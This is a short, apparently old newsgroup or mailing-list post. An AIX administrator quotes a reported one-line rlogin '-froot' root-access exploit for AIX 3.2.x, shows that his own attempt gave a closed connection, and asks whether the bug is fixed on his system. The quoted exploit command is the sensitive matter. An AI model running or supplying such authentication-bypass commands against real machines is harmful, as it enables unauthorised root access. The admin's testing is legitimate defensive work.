For instance: rlogin foobar -l -froot This gives you root access on any AIX 3.2.X machine. [...]Ericw

Connection closed. skyblue% uname -nsvr AIX skyblue 2 3 [using /bin/rlogin 'coz /usr/bin/rlogin and /usr/ucb/rlogin ] [are both symbolic links to /bin/rlogin .. ] should i (as an admin) be happy that bug is closed on AIX version i use, or ... where am i wrong ? thanx a lot in advance ! --alx.
